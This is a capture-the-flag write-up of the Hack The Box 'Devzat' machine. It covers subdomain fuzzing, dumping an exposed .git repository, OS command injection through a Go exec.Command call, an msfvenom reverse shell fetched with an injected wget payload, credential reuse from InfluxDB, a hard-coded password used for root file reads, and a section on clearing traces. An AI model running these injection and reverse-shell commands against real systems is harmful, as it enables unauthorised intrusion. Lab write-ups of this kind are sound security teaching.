Overview

Welcome to Devzat machine from Hack The Box! The general theme of this machine is only Golang code exploitation, with a tip here and a trick there - nothing special in particular.

We’re going to have lots to cover, so let’s get going.

I. Reconnaisance

1. Port scan

tl;dr: Do port scan, check the opening services.

Before start with a port scan, I tried to open the address in a browser first:

It redirected us to devzat.htb

So let’s add this line to our /etc/hosts file real quick:

10.10.11.118    devzat.htb

And run the port scan.

# Nmap 7.92 scan initiated Sun Feb 27 03:27:07 2022 as: nmap -sC -sV -oN nmap-rescan-after-add-hosts.txt devzat.htb
Nmap scan report for devzat.htb (10.10.11.118)
Host is up (0.16s latency).
Not shown: 997 closed tcp ports (conn-refused)
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 c2:5f:fb:de:32:ff:44:bf:08:f5:ca:49:d4:42:1a:06 (RSA)
|   256 bc:cd:e8:ee:0a:a9:15:76:52:bc:19:a4:a3:b2:ba:ff (ECDSA)
|_  256 62:ef:72:52:4f:19:53:8b:f2:9b:be:46:88:4b:c3:d0 (ED25519)
80/tcp   open  http    Apache httpd 2.4.41
|_http-title: devzat - where the devs at
|_http-server-header: Apache/2.4.41 (Ubuntu)
8000/tcp open  ssh     (protocol 2.0)
| fingerprint-strings: 
|   NULL: 
|_    SSH-2.0-Go
| ssh-hostkey: 
|_  3072 6a:ee:db:90:a6:10:30:9f:94:ff:bf:61:95:2a:20:63 (RSA)
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port8000-TCP:V=7.92%I=7%D=2/27%Time=621B35FB%P=x86_64-pc-linux-gnu%r(NU
SF:LL,C,"SSH-2\.0-Go\r\n");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun Feb 27 03:28:14 2022 -- 1 IP address (1 host up) scanned in 66.71 seconds

Reload the web page, here’s what was shown.

First landing page with Bootstrap design

You can see the full landing page here, but to come to the point here’s what it told us to do:

Instructions for connecting to port 8000

At this point I got curious about what Devzat is, so I searched it up:

It turned out to be an open-source chat service, run over SSH and created in Golang. They even have a public server at devzat.hackclub.com!

2. Play with chat service

Upon connecting to port 80 for the first time, the server slapped an error in my face:

$ ssh -l aki devzat.htb -p 8000 
Unable to negotiate with 10.10.11.118 port 8000: no matching host key type found. Their offer: ssh-rsa

If you wonder what was the problem’s root, please refer to this AskUbuntu question. Briefly, we need to modify the given command a bit:

I quickly picked up the chat functions, mainly because it’s quite like Discord. Take a look at the service in action:

However, no where in this service looked vulnerable, not even in Github changelogs, any public exploit nor customization. But keep this service in mind as it will prove to be useful in privilege escalating section.

II. User flag

1. Subdomain exploration

tl;dr: Brute force and discover a subdomain with wfuzz
Come to think of it, a web service calling for amendment in /etc/hosts must hide something in its subdomains. Therefore, I hammered it.

wfuzz --oF wfuzz -c -f wfuzz.txt -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -u "http://devzat.htb" -H "Host: FUZZ.devzat.htb" --hc 301,302

After a few minutes, something novel was returned:

Let’s also add that to /etc/hosts:

10.10.11.118    pets.devzat.htb

Navigate there in a browser, and here’s the outcome:

Nothing in this image was interactive

At the bottom of that page, there was a pet adding function:

A function that looks vulnerable

Without much notion about what to do, I tried to insert a wildcard there, thinking it would cause a SQL wildcard attack.

Surprisingly, the asterisk wildcard worked

Looking into Burp Suite, the request looks somewhat like this:

POST /api/pet HTTP/1.1
Host: pets.devzat.htb
Content-Length: 37
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36
Content-Type: text/plain;charset=UTF-8
Accept: */*
Origin: http://pets.devzat.htb
Referer: http://pets.devzat.htb/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close

{
    "name":"*",
    "species":"*"
}

Inspite of that, other forms of SQL injection didn’t work. Consequently, I gave up the SQL injection path and look for other attack vectors.

2. Git repository reconstruction

tl;dr: Discover a Git repository and see to its source code

Following my nose, I started a brute force scan with Gobuster.

See that error at the end? It meant the server was tricking us by returning HTTP status 200 for every requests. For that reason, let’s exlude all those fake responses and run the scan once again.

gobuster dir -u http://pets.devzat.htb/ -t 20 -w /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt --exclude-length 510

Nice. We’re forbidden to access the /server-status endpoint, but look at that .git! That’s a whole gold mine waiting to be explored!

You can see for yourself the exposed .git folder pentesting method on Pentest Monkey blog. For now, just bear in mind that you can reconstruct a whole Git repository from only .git folder. Here is an instruction:

  • Step 1. Download the needed script: wget https://raw.githubusercontent.com/internetwache/GitTools/master/Dumper/gitdumper.sh
  • Step 2. Run the script: bash gitdumper.sh http://pets.devzat.htb/.git/ ./pets
  • Step 3. Run git checkout -- . to recover the Git repository.
  • Step 4. Profit.

Simple and easy, right?

A minor notice - up to this point I had had no prior experience with Golang whatsoever. But somehow the Go syntax still made sense to me, and this function specifically caught my attention:

func loadCharacter(species string) string {                                     
 cmd := exec.Command("sh", "-c", "cat characteristics/"+species)                
 stdoutStderr, err := cmd.CombinedOutput()                                      
 if err != nil {                                                                
        return err.Error()                                                      
 }                                                                              
 return string(stdoutStderr)                                                    
}  

Looking at that exec.Command, one cannot help but to think of a OS command injection!

Tried inserting ;id on the pets site

It worked! And what’s more - the user running this web app was not www-data! That saved us a phase of privilege escalation.

3. Acquiring foothold

tl;dr: Leverage limited RCE to reverse shell using msfvenom
With a somewhat limited RCE in our hand right now, it should be a piece of cake getting a reverse shell and retrieving our user flag!

If only life was that easy.

For some mysterious reasons, all reverse shell commands quickly died right at the moment it managed to call back - no matter it’s bash, python or go, no matter it’s running as a foreground or background process, it just - die. As the last resort, I had to rely on msfvenom, like this:

msfvenom -p linux/x64/shell_reverse_tcp LHOST=<YOUR_IP> LPORT=9999 -f elf -o reverse.elf

Then load it to the server using:

curl -X POST -d '{"name":"*", "species":"; wget http://<YOUR_IP>/reverse.elf"}' http://pets.devzat.htb/api/pet

Don’t forget to open a HTTP server first:

python3 -m http.server 80

You can see a shell call back in an instant!

$ nc -lvnp 9999                                  
listening on [any] 9999...
connect to [<YOUR_IP>] from (UNKNOWN) [10.10.11.118] 47172
id
uid=1000(patrick) gid=1000(patrick) groups=1000(patrick)

Looking into patrick’s ~/.ssh directory, I found his id_rsa key. Without further ado, I downloaded it, and SSH in (personally I sent it to that previous .git folder then wget it there, but how to do this part depends on your creativity).

The end result of this section

4. Horizontal privilege escalation

tl;dr: Discover and attack Influx Database to get other users’ credentials
Unfortunately, after all those hassles, the user.txt flag was still out of our reach - it turned out to be in some other user’s home directory whose username was catherine.

To give you an overview about our targets, here’s their /etc/passwd file:

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
syslog:x:104:110::/home/syslog:/usr/sbin/nologin
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
uuidd:x:107:112::/run/uuidd:/usr/sbin/nologin
tcpdump:x:108:113::/nonexistent:/usr/sbin/nologin
landscape:x:109:115::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:110:1::/var/cache/pollinate:/bin/false
sshd:x:111:65534::/run/sshd:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
patrick:x:1000:1000:patrick:/home/patrick:/bin/bash
catherine:x:1001:1001:catherine,,,:/home/catherine:/bin/bash
usbmux:x:112:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin

And here are the opening ports.

patrick@devzat:~$ ss -lntup
Netid   State    Recv-Q   Send-Q     Local Address:Port     Peer Address:Port   Process
udp     UNCONN   0        0          127.0.0.53%lo:53            0.0.0.0:*
tcp     LISTEN   0        4096       127.0.0.53%lo:53            0.0.0.0:*
tcp     LISTEN   0        4096           127.0.0.1:8086          0.0.0.0:*
tcp     LISTEN   0        128              0.0.0.0:22            0.0.0.0:*
tcp     LISTEN   0        4096           127.0.0.1:8443          0.0.0.0:*
tcp     LISTEN   0        4096           127.0.0.1:5000          0.0.0.0:*       users:(("petshop",pid=855,fd=3))
tcp     LISTEN   0        128                 [::]:22               [::]:*
tcp     LISTEN   0        4096                   *:8000                *:*       users:(("devchat",pid=856,fd=7))
tcp     LISTEN   0        511                    *:80                  *:*

My attention quickly felt on that port 8086. Checking the processes, there’s also something really shady running on the background.

root        1279       1  0 05:28 ?        00:00:01 /usr/bin/containerd-shim-runc-v2 -namespace moby -id bcf2dac78cc0f71f3ae09bb2d70be065cd4bc8df3cfcc6d4c1b070c64f1ba804 -address /run/containerd/containerd.sock
root        1301    1279  0 05:28 ?        00:00:23  \_ influxdb

A SQL-like syntax database - InfluxDB. Looking for public vulnerabilities on ExploitDB yeilded no result. On the other hand, Github actually gave us something:

Instructions are laid out pretty clear on its README. I would also say this is one of the most stable, eye-candy looking shells that I have had a chance to use.

Looking around in the database for a while, I finally got my hand on the million-dollar piece of information.

And it seems like catherine reused her credentials, because I could easily logged in her account using that password:

patrick@devzat:~$ su catherine
Password: 
catherine@devzat:/home/patrick$ id
uid=1001(catherine) gid=1001(catherine) groups=1001(catherine)

With this, now the user flag is in our hand.

III. LFI - Root flag

tl;dr: Discover backup and use hard-corded password to get LFI as root
There’s a small side story you need to know: at the time of writing…

CVE-2021-4034, (in)famously known as the “Pwnkit exploit”, still worked. I will not guide you on this “dark side of the Force” path, but you should be able to pull off the trick if you’ve gotten this far.

If you insists on going the intended exploit path, then first, take a look at the running processes:

root         832       1  0 05:27 ?        00:00:00 /bin/bash /root/devzat/start.sh
root         857     832  0 05:27 ?        00:00:00  \_ ./devchat

Baffling enough, root was running a devchat instance! So where was it exposing to?

Out of all opening ports, we can see that port 8443 had the most potential.

Just for personal preference, I forwarded it to my local first.

ssh -i id_rsa -L 8443:127.0.0.1:8443 patrick@devzat.htb

And then connect to it with:

ssh -l aki 127.0.0.1 -p 8443

You can clearly see there’s a weird command deemed as “alpha” in this instance:

At first I thought that would be an obvious local file read vulnerability, but man, if only life was that easy:

aki: /file /root/root.txt
[SYSTEM] You need to provide the correct password to use this function
aki: /file /root/root.txt somepassword
[SYSTEM] You did provide the wrong password

The bad thing is, except from that exact command, nothing else was abnormal.

And it was that moment that an idea suddenly flashed through my mind - will I see others’ messages if I log in with their username?

Some really nasty secret chat going on

What about catherine?

Well, I came looking for copper - but I found gold!

Just a side story, well, no matter how many ctfs I have done, I cannot help but feel a bit illegal reading others’ chat messages, even when it’s fictional…

Moving on, I think we could look for backups with a fairly simple command, like this:

catherine@devzat:~$ find / -name "*backup*" 2>/dev/null
/snap/core18/2128/usr/share/bash-completion/completions/vgcfgbackup
/snap/core18/2128/var/backups
/snap/core18/2074/usr/share/bash-completion/completions/vgcfgbackup
/snap/core18/2074/var/backups
/usr/sbin/vgcfgbackup
/usr/share/man/man8/vgcfgbackup.8.gz
/usr/share/doc/libipc-system-simple-perl/examples/rsync-backup.pl
/usr/share/bash-completion/completions/vgcfgbackup
/usr/lib/open-vm-tools/plugins/vmsvc/libvmbackup.so
/usr/lib/modules/5.4.0-77-generic/kernel/drivers/net/team/team_mode_activebackup.ko
/usr/lib/modules/5.4.0-77-generic/kernel/drivers/power/supply/wm831x_backup.ko
/usr/lib/python3/dist-packages/sos/report/plugins/ovirt_engine_backup.py
/usr/lib/python3/dist-packages/sos/report/plugins/__pycache__/ovirt_engine_backup.cpython-38.pyc
/usr/src/linux-headers-5.4.0-77/tools/testing/selftests/net/tcp_fastopen_backup_key.sh
/usr/src/linux-headers-5.4.0-77-generic/include/config/wm831x/backup.h
/usr/src/linux-headers-5.4.0-77-generic/include/config/net/team/mode/activebackup.h
/sys/devices/virtual/net/vethbb59ceb/brport/backup_port
/var/backups

Without a doubt, that /var/backups was absolutely suspicious:

catherine@devzat:~$ cd /var/backups
catherine@devzat:/var/backups$ ls
alternatives.tar.0  apt.extended_states.0  apt.extended_states.1.gz  apt.extended_states.2.gz  devzat-dev.zip  devzat-main.zip  dpkg.diversions.0  dpkg.statoverride.0  dpkg.status.0

As you can see, both the main and dev version were there. So I opened a simple Python HTTP server and downloaded them onto my machine for further inspection. You can also do the next steps on the remote machine if you want, but you know, that’s just personal preference.

Upon running diff dev main, a whole bunch of things jumped out.

diff dev/allusers.json main/allusers.json
1c1,3
< {}
---
> {
>    "eff8e7ca506627fe15dda5e0e512fcaad70b6d520f37cc76597fdb4f2d83a1a3": "\u001b[38;5;214mtest\u001b[39m"
> }
diff dev/commands.go main/commands.go
4d3
< 	"bufio"
6,7d4
< 	"os"
< 	"path/filepath"
40d36
< 		file        = commandInfo{"file", "Paste a files content directly to chat [alpha]", fileCommand, 1, false, nil}
42,101c38
< 	commands = []commandInfo{clear, message, users, all, exit, bell, room, kick, id, _commands, nick, color, timezone, emojis, help, tictactoe, hangman, shrug, asciiArt, exampleCode, file}
< }
< 
< func fileCommand(u *user, args []string) {
< 	if len(args) < 1 {
< 		u.system("Please provide file to print and the password")
< 		return
< 	}
< 
< 	if len(args) < 2 {
< 		u.system("You need to provide the correct password to use this function")
< 		return
< 	}
< 
< 	path := args[0]
< 	pass := args[1]
< 
< 	// Check my secure password
< 	if pass != "CeilingCatStillAThingIn2021?" {
< 		u.system("You did provide the wrong password")
< 		return
< 	}
< 
< 	// Get CWD
< 	cwd, err := os.Getwd()
< 	if err != nil {
< 		u.system(err.Error())
< 	}
< 
< 	// Construct path to print
< 	printPath := filepath.Join(cwd, path)
< 
< 	// Check if file exists
< 	if _, err := os.Stat(printPath); err == nil {
< 		// exists, print
< 		file, err := os.Open(printPath)
< 		if err != nil {
< 			u.system(fmt.Sprintf("Something went wrong opening the file: %+v", err.Error()))
< 			return
< 		}
< 		defer file.Close()
< 
< 		scanner := bufio.NewScanner(file)
< 		for scanner.Scan() {
< 			u.system(scanner.Text())
< 		}
< 
< 		if err := scanner.Err(); err != nil {
< 			u.system(fmt.Sprintf("Something went wrong printing the file: %+v", err.Error()))
< 		}
< 
< 		return
< 
< 	} else if os.IsNotExist(err) {
< 		// does not exist, print error
< 		u.system(fmt.Sprintf("The requested file @ %+v does not exist!", printPath))
< 		return
< 	}
< 	// bokred?
< 	u.system("Something went badly wrong.")
---
> 	commands = []commandInfo{clear, message, users, all, exit, bell, room, kick, id, _commands, nick, color, timezone, emojis, help, tictactoe, hangman, shrug, asciiArt, exampleCode}
diff dev/devchat.go main/devchat.go
27c27
< 	port = 8443
---
> 	port = 8000
114c114
< 		fmt.Sprintf("127.0.0.1:%d", port),
---
> 		fmt.Sprintf(":%d", port),
Only in dev: testfile.txt

See the password? Well, to be honest, hard-coded passwords are common in development phase. That being the case, we’ll gratefully use that password and exploit the LFI vulnerability, as root.

At this point you should be able to read the root flag at /root/root.txt. If instead, you want to go “further and beyond” to get a full-fledged root shell, you can look for “LFI to reverse shell” - there’re ample guides on Google. More creatively, there maybe is a SSH key in /root/.ssh, or just grab the /etc/shadow file and start cracking it - it all depends on your imagination.

IV. House cleaning

tl;dr: Clean all traces before secretly leaving

1. The id_rsa file in .git folder

This one is easy. Just delete it from wherever you put it earlier.

2. History and logs

Bash history had been set as symlinks to /dev/null from the very beginning, so it’s not a concern.

V. Final words

This blog post turned out to be much lenghthier than I expected, but I’ve had lots of fun while learnt a ton along the way - and hopefully, you too!